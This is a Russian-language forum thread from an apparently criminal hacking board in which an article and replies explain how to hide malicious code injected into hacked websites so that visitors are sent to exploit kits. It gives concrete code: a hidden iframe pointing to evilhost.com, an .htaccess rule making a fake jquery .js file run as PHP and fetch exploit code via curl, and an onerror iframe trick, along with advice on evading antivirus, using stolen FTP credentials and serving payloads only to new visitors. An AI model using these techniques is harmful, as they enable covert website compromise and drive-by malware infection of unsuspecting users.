• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Вся правда о шифровании ifrаme кода

Catalina

CD-диск
Пользователь
Регистрация
13.11.2010
Сообщения
10
Реакции
0
В данной статье мы рассмотрим уровень эффективности тех средств шифрования, которые активно используются в настоящее время.

Для начала нам следует обратить внимание на то, какие же требования к подобному ПО имеются у пользователей:
1. Ссылка, на которую ссылается фрейм, должна быть тщательно скрыта
2. Сам код должен быть сложен для понимания человеком - обфускация
3. Сложность расшифровки кода
4. Невидимость для антивирусного ПО
Да, любой актуальный программный продукт выполняет эти требования. Невидимость для антивирусов - пожалуйста, отчет от virtest. Обфускация и сложность в расшифровке - нет проблем, arguments.callee к вашим услугам. На самом же деле, все это взгляд под углом человека, мало что понимающего.

Пойдем по порядку.
1. Да, плезно чтобы ваша ссылка была скрыта от глаз администратора зараженного ресурса, но ему не нужно быть гением криптографии и не нужно изучать используемый алгоритм шифрования. Достаточно сделать следующее:
Код:
<html>
<script type="text/javascript">
/* подозрительный код */
</script>
<script type="text/javascript">
var decode = document.getElementsByTagName("iframe");
alert(decode[0].src);
</script>
</html>
Все. Каким бы сложным не был алгоритм, сколько бы методов "антиотладки" он в себя не включал, ссылка получена за считанные секунды. Конечно, где - то может и есть генерация нескольких псевдо - фреймов вместе с основным, но это не спасет.

2. Исходя из пункта #1, обфускация теряет свой смысл полностью.
В данном случае она только ускорит процесс обнаружения фрейма, так как делает javascript код еще более подозрительным.

3. Аналогично обращаемся к пункту #1, зачем расшифровывать то, что уже себя расшифровало?

4. Неужели найдется человек, который поверит в то, что антивирусная лаборатория, имеющая приличный финансовый оборот и целые отделы программистов и специалистов по информационной безопасности, уступает какому - то программисту - самоучке, продающему псевдо - способы шифрования кода за пару десятков долларов?
Отчет антивирусной проверки говорит только о том, что в зашифрованном javascript коде не найдено подозрительных сигнатур. Но на деле, когда такой код будет инжектирован с страницу, любое нормальное антивирусное ПО моментально определит, что значение аттрибута фрейма src - не абсолютный/относительный путь, а внешнаяя ссылка, добавьте к этому то, что ваш фрейм является невидимым, а домен светится только один раз, и вы получите отличный набор для определения подобных фреймов как потенциально опасных.

Эффективность 99% программных продуктов, предназначенных для выполнения нашей задачи, равна нулю. Теперь посмотрим, какое ПО входит в оставшийся 1%.

1. Зачем нам вообще внешняя ссылка в клиентском коде? Зачем фрейм?
Мы вполне можем ссылаться на локальный скрипт, разумеется, тогда нам необходимо иметь широкий доступ к ресурсу: ftp, сpanel, shell, etc но оно себя оправдывает. Заместо же фрейма мы будем использовать тег script.
В итоге наш исходный код изменится следующим образом:
Код:
<!-- Было -->
<iframe src="http://evilhost.com/dir/script.php" width="0" height="0" frameborder="0"></iframe>

<!-- Стало -->
<script src="dir/script.php" type="text/javascript"></script>
Сам же локальный скрипт должен выполнять функцию получения конечного кода. Использовать для этого можно curl, сокеты, да что угодно, главное, чтобы ссылка, откуда тянется содержимое, была доступна только серверу.
Если у вас появился вопрос, а как быть на хостинге, где нет php, cgi, etc? То вот вам встречный вопрос: неужели в сети есть качественный ресурс, имеющий тысячный поток уникальных посетителей, который хостится там, где кроме веб - сервера ничего нет? Или может вы планируете заняться профессиональным фреймингом домашних страничек школьниц?

В чем же смысл такой модификации, когда любой может посмотреть, куда ссылается тег script - во - первых, мы отрезаем хорошую часть антивирусного ПО, во - вторых, никто не мешает вам сделать все более красиво.
Пример, имеем страницу, код которой:
Код:
<html>
<!-- различный код -->
<script src="js/jquery-1.4.min.js" type="text/javascript"></script>
<!-- различный код -->
</html>
Cоздаем конфигурационный файл веб - сервера, в 90% это Apache, поэтому пример для него,
файл .htaccess:
Код:
AddType application/x-httpd-php .js

Размещаем данный файл в любой директории, которая находится выше либо равна директории js. Сам файл jquery-1.4.min.js модифицируем следующим образом:
Код:
/* код библиотеки jquery */
<?php
$ch = curl_init();
// устанавливаем опции curl, указываем ссылку, откуда следует получать js код
print(curl_exec($ch));
?>
Для клиента, просматривающего html код страницы, внешне ничего не изменится, на деле же все будет именно так, как нужно нам.

2. Теперь, когда шифрованию мы подвергаем уже не клиентский скрипт, а серверный, в наше распоряжение вступают такие вещи как Zend Guard, ionCube Encoder, etc.
Все зависит от того, какие модули установлены на сервере. Тем более, что можно создать целую цепочку локальных скриптов, которые будут взаимодействовать между собой.
В любом случае, это несомненный плюс.

3. Данный пункт представляет собой объединение двух предыдущих, поэтому надобности в его раскрытии нет.

4. Рассматривая недостатки, я обратил внимание на следующие моменты:
1. Внешняя ссылка
2. Невидимость фрейма
Теперь вся детектируемость сводится только к подгружаемому внешнему коду, если он чист, то и антивирусное ПО будет молчать.

Отдельное слово о том, почему вам эта технология может не подойти. Если вы используете связку из тех, что сейчас продаются, то придется смериться - они не предназначены для взаимодейтсвия с подобными решениями.
Блокирование неуникальных посетителей по IP не даст вам получить содержимое более одного раза. Учитывайте и то, что выдача эксплоитов производится не голым js, а html страницей, а это вызовит ошибку у клиента.
Не хочу рекламировать, просто похвастаюсь, в моей связке поддержка взаимодействия с такими "фреймами" уже давно реализована, но вряд ли вы ее когда - нибудь пощупаете, поэтому приведу вам один из способов:
Отдельный скрипт связки, который производит выдачу js в зависимости от переданных GET/POST параметров: ОС, браузер, версия, IP
Последний параметр передавать совсем не обязательно, вы можете проверять уникальность еще перед подгрузкой js, а статистику вести не по каждому посетителю, а сделать отдельный учет модуля выдачи js: сколько раз выдан код и сколько загрузок получено.

Давайте суммируем все отличия и сравним, что получится при более грамотном подходе:
tablej.png

Используя новые методы, мы получаем долговечность, и, соответственно, большее количество посетителей с каждого ресурса.
Нам не требуются чистки javascript кода, в результате работы домен связки не светится перед посетителем, что увеличивает его продолжительность жизни, а все это снижает наши расходы.
Теперь выбор только за вами: продолжать использовать бесполезные и устаревшие технологии, либо начать освоение новых.

И на последок, универсальный поисковик фреймов, ссылающихся на внешние ресурсы, через который вы можете проверить надежность шифрования ваших фреймов:
Код:
<script type="text/javascript">
var domain = window.location.host.toString();
var frames = document.getElementsByTagName("iframe");
var index, id = 1, buffer = "";
for (index in frames) {
    try {
        if (frames[index].src && frames[index].src.indexOf(domain) == -1) {
            buffer+= id + ": " + frames[index].src + "\n\n";
            id++;
        }
    } catch (e) {}
}
if (buffer.length == 0) {
    buffer = "Outdoor frames doesn't exist";
}
alert(buffer);
</script>
На примере http://www.php.su, вставив в конец страницы данный код, получим результат:
Код:
1: http://ad.adriver.ru/cgi-bin/erle.cgi?sid=148477&bn=1&target=blank&bt=36&pz=0&rnd=455589936&tail256=unknown

На этом все. Надеюсь, что статья будет полезной для кого - то. Если у вас имеются какие - то вопросы, то вы всегда можете найти меня в jabber: catalina@default.rs.
При копировании материала просьба указывать ссылку на источник.
 
100500 символов УГа... Хотя единственная полезная идея проскочила - выплёвывать эксплойт с домена зараженного сайта, однако с этим не всё так просто, вместо домена связки в блеки будет уходить домен зараженного сайта-донора :bang:
 
Catalina
Да вы, батенька, садист :) Рекомендую изучить вообще как работает (и что умеет) апач. Зная некоторые тонкости можно добиться большего без ваших извращений!
 
Автор молодец!
Я надеюсь что статья не рерайт (даже в гугел лезть в падлу), что касается
Другие только подъ*бывать умеют
то тут как бы надо за базар отвечать :lol2:
Автор не выложил ничего особенно толкового, при этом поднес как кабана с яблоком в заднице жаренного. Надо как бэ работать, работать и работать... Чтобы действительно толковые вещи писать, ну и креатифф ессно :)
 
Нормальный материал. Не придирайтесь вы так сильно уж.
ТС поднял несколько важных моментов. Да, не предоставил альтернатив супер-актуальных, не выдал вам на тарелочке готовых решений. НО мозг как раз для этого и сделан природой. Ищи и ты найдешь.

По теме:
1. в соседней теме я расписывал недавно зачем нам крипт и что с ним можно делать. Дискуссия была, хотя нормальных тем я так и не услышал.
2. Тема со связкой - палка о двух концах. Очень много спорных моментов.
3. "универсальный поисковик фреймов" - спасибо. Новичкам пригодится. Ровно как и вэб-мастерам, которые тоже читают форумы.
4. Это частично смахивает на попытку раскрутить свою "приватную" связку, хотя и в скрытой форме.
5. тема с апачем хороша когда ты рут. Ну, или на крайняк, если у тебя ftp с правами записи. Спорных моментов не меньше чем с ифрэймом и связкой напрямую. Тонкостей тоже. Если кто-то думает что палит супер тему - глубоко ошибается.
6. насколько я могу судить - материал не копипаст. По-крайней мере в гугле не светится. За что уже стоит автора поблагодарить. (от себя лично выражаю благодарность за труды и попытку заставить людей шевелить мозгами. Кроме того - эта попытка дает возможность в споре выдать не совсем тугодумам новую пищу для размышлений!)
 
Которая именно тема "соседняя" к этой, где про "зачем нам крипт"? Подскажите ссылку, кому не трудно?

А здесь вопрос -
если, как говорит ТС почти бесполезно криптовать ифреймы - актуален-ли полиморфный криптор скриптов (и фреймов разумеется) или достаточно обычного base64 шифрования?
(вроде как - зачем усложнять).
 
Спасибо за критику.

GOONER, и еще десяток различных инструментов, но пример показывает именно то, что "надежная защита iframe кода" не такая уж и надежная и можно обойтись и без подобных тулз.

Зная некоторые тонкости можно добиться большего без ваших извращений!
Да, тонкостей, как и методов, полно. Можно даже поиграться с ErrorDocument, получив "прозрачный" редирект. Но здесь ведь не обзор возможностей веб-сервера.
По поводу того, что будет происходить с доменом зараженного ресурса - увы, ничто не бесконечно. Лично я не планирую доить один единственный ресурс на протяжении всей жизни.

Автор не выложил ничего особенно толкового
А что вы ожидали, тему с ссылкой на идеальное универсальное решение - бери и пользуйся? Целью было только разрушить стереотип о продуктивности крипторов фреймов и дать пищу для размышлений.
Если бы в теме были вопросы вида "А покажи как сделать тот-то, на примере того-то" - да, привел бы больше примеров и кода.

Это частично смахивает на попытку раскрутить свою "приватную" связку
Никакой скрытой рекламы, скорее намек владельцам связок - "Да, так можно и другие УЖЕ так делают". Более того, моя связка - это не то, что я где-то там продаю, рекламирую и продвигаю, а то, чем я сам пользуюсь.

тема с апачем хороша когда ты рут. Ну, или на крайняк, если у тебя ftp с правами записи
Сейчас все больше и больше хостеров предоставляют возможность записывать пользователям свои конфиги, стоит учеть и то, что далеко не все пользователи грамотно расставляют права на файлы и директории. Конечно, с обычными фреймами удобно, что иногда хватает доступа к БД, но опять же все сводится к тому - чего хочешь, того и получишь. Если человек ставит перед собой цель быстрого и простого фрейминга, то ему не стоит надеяться на хорошие показатели.

насколько я могу судить - материал не копипаст.
Нет, не копипаст.
Если на форуме все и всё знают, то тему можно под снос, а мне пару штрафных баллов за "архиологию".
 
Если на форуме все и всё знают, то тему можно под снос, а мне пару штрафных баллов за "архиологию".

Не надо так категорично. Если вы не заметили - я вас поблагодарил за материал. На таких людях как вы действительно держатся многие форумы. Вы даете материалы к размышлению и привлекаете пользователей. - это раз.

Вы написали неплохой материал, вызвали дискусию и заставили других задуматься - это два.

---------------------------------------
Предлагаю не воспринимать все в штыки и обсудить плючы и минусы предложенного способа инжекта связки.

Тем более, что можно создать целую цепочку локальных скриптов, которые будут взаимодействовать между собой.
В любом случае, это несомненный плюс.

Если честно - не вижу в этом плюсов. Ну допустим мы инжектим свой код через взаимодействие двух-трех файлов. Админ попалив любой из файлов рушит нашу цепочку. Вспомним так же, что у многих CMS есть псевдо-авнтивирус (как его не называй) который делает снимок файлов самого движка и в случае появления новых файлов или изменения хэша файлов движка - немедленно вопит об этом.
К тому же curl не всегда хорошо.

Отчет антивирусной проверки говорит только о том, что в зашифрованном javascript коде не найдено подозрительных сигнатур. Но на деле, когда такой код будет инжектирован с страницу, любое нормальное антивирусное ПО моментально определит, что значение аттрибута фрейма src - не абсолютный/относительный путь, а внешнаяя ссылка, добавьте к этому то, что ваш фрейм является невидимым, а домен светится только один раз, и вы получите отличный набор для определения подобных фреймов как потенциально опасных.

Спорно и обсуждаемо. В тэге src может быть локальный файл. А в тэге onload уже наша ссылка. Так что тут вопрос только в том, что будет, а что нет детектить АВ. Вариантов много.

Теперь вся детектируемость сводится только к подгружаемому внешнему коду, если он чист, то и антивирусное ПО будет молчать.

А что изменится в случае банального ифрэйма и чистой связки?
Сгружайте траф на чистую связку и АВ будет молчать. А в случае детекта АВ заорет в любом случае. Один плюс в том, что в бан от гугла попадет только домен с сайтом. т.к. АВ и гугл не знают откуда пришел код самой связки. Они видят только выдачу.

Блокирование неуникальных посетителей по IP не даст вам получить содержимое более одного раза. Учитывайте и то, что выдача эксплоитов производится не голым js, а html страницей, а это вызовит ошибку у клиента.

Это решается очень просто. Помнится я для nginx такой модуль юзал. rpaf если не ошибаюсь.
------------------------------------------------

p.s. первый плюс вам в репу был как раз от меня.
 
Админ попалив любой из файлов рушит нашу цепочку.
Тут дело не в том, чтобы создать какой - то отдельный файл и вынести в него что - то, а в том, чтобы взять скрипт из которого вызываются другие. Например в первый вызываемый файл вставляем шифротекст, во второй - ключ, а в основном производим расшифровку и запрос к связке.
К тому же curl не всегда хорошо.
Можно обойтись и без него, есть сокеты, и есть банальный file_get_contents.

Спорно и обсуждаемо. В тэге src может быть локальный файл. А в тэге onload уже наша ссылка.
Проводил подобные тесты, код был на подобии:
Код:
<iframe src="xxx" onerror="this.src='http://.../'"></iframe>
Параноидальный KIS такие штуки успешно обнаруживает и выводит suspected - алерт.

А что изменится в случае банального ифрэйма и чистой связки?
Одно дело, когда мы имеем цепочку фрейм - связка: если первый дал сбой, то от второго толку нет. Когда мы действуем на уровне сервера, дело остается только за связкой. Еще стоит учеть, что есть пользователи, которые подключают javascript не для всех ресурсов, а только для заданных - так мы получаем исполнение кода в пределах "проверенного" домена.
Еще пример: домен связки спалился, серверу все равно, он выдачу заберет. Фрейм - нет, трафик начнет теряться. Плюс ко всему, если мы ставим простые фреймы, то их обновление наша забота, нужно логиниться к ftp, удалять старый код, ставить новый и так по списоку. Серверу же можно задать внешнюю ссылку, откуда он сам всегда будет брать активный линк связки.
 
Mail2k
Семки не растеряй, ответчик :)

По теме:
Здравое зерно - это запрос сплойтов самим сервером (что с другой стороны увеличивает долю входящего трафика и бывает подозрительно, кому как впрочем).
Собственно инжектировать код через .htaccess можно лекго и непринужденно, в том числе реализовать удаленный инжект.
 
Catalina пишет:
Целью было только разрушить стереотип о продуктивности крипторов фреймов
Сабж очень слабоват для разрушения подобного стереотипа – ИМХО

В теме не шарю, но есть вопрос:
Когда-то давно у меня появилась трабла, файлы в формате xml размером 100-150 мегабайт нужно было парсить..
путем замеров времени выяснилось, что проблема медленного парсинга заключалась в том, что слишком много закрывающих тегов, и я обратил внимание на формат json – в этом формате как раз подобной проблемы не было..
Потом я начал замечать на трэкерах у AV юзанье этого формата , так вот кто-нибудь юзал json для защиты?
Хотелось бы хотя бы вкратце услышать мнение спецов о json плюсы или минусы и по-возможности с "примерами кода" :)
 
Mail2k и TrueUser как малые дети.
Нука быстро понты повыбрасывали и либо обсуждаем сабж, либо не пиликаем на задворках. Читать противно.

Catalina
Целью было только разрушить стереотип о продуктивности крипторов фреймов
Попытку я оценил, но как теперь перестроить умы наших читателей? Это тоже самое что вводить новую религию...

Тут дело не в том, чтобы создать какой - то отдельный файл и вынести в него что - то, а в том, чтобы взять скрипт из которого вызываются другие. Например в первый вызываемый файл вставляем шифротекст, во второй - ключ, а в основном производим расшифровку и запрос к связке.
Вот тут и заорет псевдо АВ CMS. Хотя не факт что админ туда вообще заглядывает. Но, как говорится, всяк бывает. И повезет или нет - дело случая.

Параноидальный KIS такие штуки успешно обнаруживает и выводит suspected - алерт
Всмысле в режиме паранои или ты его так любовно обзываешь?
Знаю что аваст реагирует практически 100% на подобные вариации.

p.s. все чаще люди в той или иной мере приходят к идее trueuser-а о микросвязках. Там соль была в том, что связка - это один js (допустим) файл размещенный на сайте и прописанный с шаблоне сайта. А exe он грузит с любого сервака уже шелом. т.е. решался вопрос абуз на твои домены, больших нагрузок на сервера и т.д. по списку...
В качестве тестового сплоита на тот момент был выдвинут pdf-сплоит. Он тогда был очень даже в фоварите. Или как вариант можно было банальный mdac юзать вкупе с проверкой на браузер и его версию.
Весь данный js файл можно было просто конвертнуть или зашифровать и сделать похожим на json.

KraZz
Это как бы не по теме. Предлагаю отдельный топ создать.
p.s. я его не юзал для защиты.
 
Да, вот еще что хотел сказать по теме. Давайте немного подумаем о том, как Вам достаются фтп. В подавляющем большинстве случаев это не ломанные сайты, а награбленные данные с инсталлов. Конечно от попадоса не застрахован никто из нас, НО толковые одмины (нормальных ресурсов) которые МОГУТ РАСКОЛУПАТЬ ФРЕЙМ, во первых не пользуются виндой (может я конечно и не прав) для своих одминских целей, а разве что погамать в старкрафт2 :P , а во вторых достаточно неплохо защищают свои тачки (и уж как минимум не ведутся на простой развод со спамом и прочим, ибо сами прохавали все это давным давно - иначе бы не стали этими самыми одминами). Из вышесказанного следует один простой вывод - те фтпшки, которые фреймятся оптом являются хозяйством ламоватых вебмастеров (а то и вовсе людей толком не понимающих в веб кодинге - привет конструкторам сайтов и супер пупер мега движкам :)). Так вот, поставив себя на место такого человека - вы наврятли даже если обнаружите "странный код" будете его удалять (а то ведь вдруг работать перестанет!). Самое страшное что может случиться (нет нет я не цитирую гр. Ленинград) - это будет призван на помощь человек более толковый.
Таким образом можно вывести одно простое правило - хочешь живучий фрейм - НЕ НАГЛЕЙ. Чем меньше светишься - тем лучше. Сиди тихо в углу, анализируй трафик, выдавай фрейм только людям новым (например анализируя наличие куков для сайту - если их нет - значит чувак новый и ему можно попытаться закинуть засранчика), да много каких анализаторов можно придумать, опять же постараться поисковых ботов отсеять, может не стоит палить фрейм на индексе, а выдавать его только для внутренних страниц...

Вот такая вот социальная инженерия :) может быть я не прав?
 
Вот тут и заорет псевдо АВ CMS. Хотя не факт что админ туда вообще заглядывает. Но, как говорится, всяк бывает. И повезет или нет - дело случая.
Далеко не всегда проверка контрольных сумм включена. Но даже если так, то, имея широкий доступ к ресурсу, мы скорее всего сможем сбросить суммы на новые. Во - вторых, пользователи часто ставят различные плагины и модули, на них вряд ли проверка будет распространяться.

Всмысле в режиме паранои или ты его так любовно обзываешь?
На стандартных настройках, просто его так называю.

Там соль была в том, что связка - это один js (допустим) файл размещенный на сайте и прописанный с шаблоне сайта.
Здесь получается примерно тоже самое, только js хранится не сам по себе, а каждый раз берется с заданного адреса.
Вообще, если в связку добавить возможность выгрузки модуля - сборки закриптованного js + pdf + еще чего - нибудь, то польза бы была.

KraZz,
JSON, XML - читабельные форматы данных, только первый является производной от js.
Не представляю, как его можно использовать для защиты. Хранить в нем зашифрованные данные - да, пожалуйста, но сам он никакой защиты дать не может.
Если уж откланиться к теме передачи данных - я выбираю JSON, в результате все получается достаточно компактно, нет необходимости парсить кучу тегов.
Вот пара примеров JSON - JS, чтобы показать их сходство:
Код:
// JSON
[['a', 'b', 'c', 'd'],['1','2','3','4']]
// JS
var test = new Array(new Array('a', 'b', 'c', 'd'), new Array('1', '2', '3' '4'));
Код:
// JSON
{'a': ['1', '2', '3'], 'b': {'x': '1', 'y': 2}}
// JS
var obj = {
  a: new Array('1', '2', '3'),
  b: {
    x: '1',
    y: '2'
  }
};
Здесь примеры на JS получаются так:
Код:
var test = eval("%JSON%");

В подавляющем большинстве случаев это не ломанные сайты, а награбленные данные с инсталлов.
Не знаю - не знаю. Например я не из тех, кто с каждой загрузки пытается выжать по максимуму, соответственно, с инсталлов доступы не получаю. Да, на "неликвидные" страны можно прогрузить граббер, но полученные им доступы обычно мной расцениваются как "Сдохнит и пофиг". А именно те ресурсы, которые приносят мне нужный трафик - в большенстве своем ломанные.

Так вот, поставив себя на место такого человека - вы наврятли даже если обнаружите "странный код" будете его удалять (а то ведь вдруг работать перестанет!).
Админ может и не обнаружить код, а вот посетитель, у которого заорет АВ, вполне может сообщить об этом администратору. Если полистать различные форумы, очень часто можно встретить темы вида: "Нашел у себя в странице странный код, кто знает что это?", а добрые люди ему разумеется помогут снести наш фрейм.

Сиди тихо в углу, анализируй трафик, выдавай фрейм только людям новым
Полностью согласен. А учитывая то, что сейчас активно продается софт для анализирования трафика и отсеивания потенциально "опасных" посетителей, тема результат дает.
 
Здесь получается примерно тоже самое, только js хранится не сам по себе, а каждый раз берется с заданного адреса.
В этом то и состоит та самая разница, которая определяет новаторство идеи, связка, которая не требует антиобузных серверов и хостингов, добраться до исполняемого файла в которой ой как не просто ибо его урл зашивается в шелл при компиляции (сборке) сэмпла связки. Толку от того что "снимут" этот самый сэмпл не много, ибо обфусцированный и мятый код js колупать не легко, а заменить еще и урл для даунлода еще сложнее. Самое лучшее решение для "ломанных" ресурсов, где ее можно запрятать так что сам черт не разберется, плюс никакого палева! На поток во фреймер смысла не много ставить - слишком много нюансов (но если допечь Zer0 с такой просьбой и его анализатором CMS то и такое возможно).
А подгружаемый "с улицы" js - те же яйца что и фрейм, тлько в профиль имхо :).
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх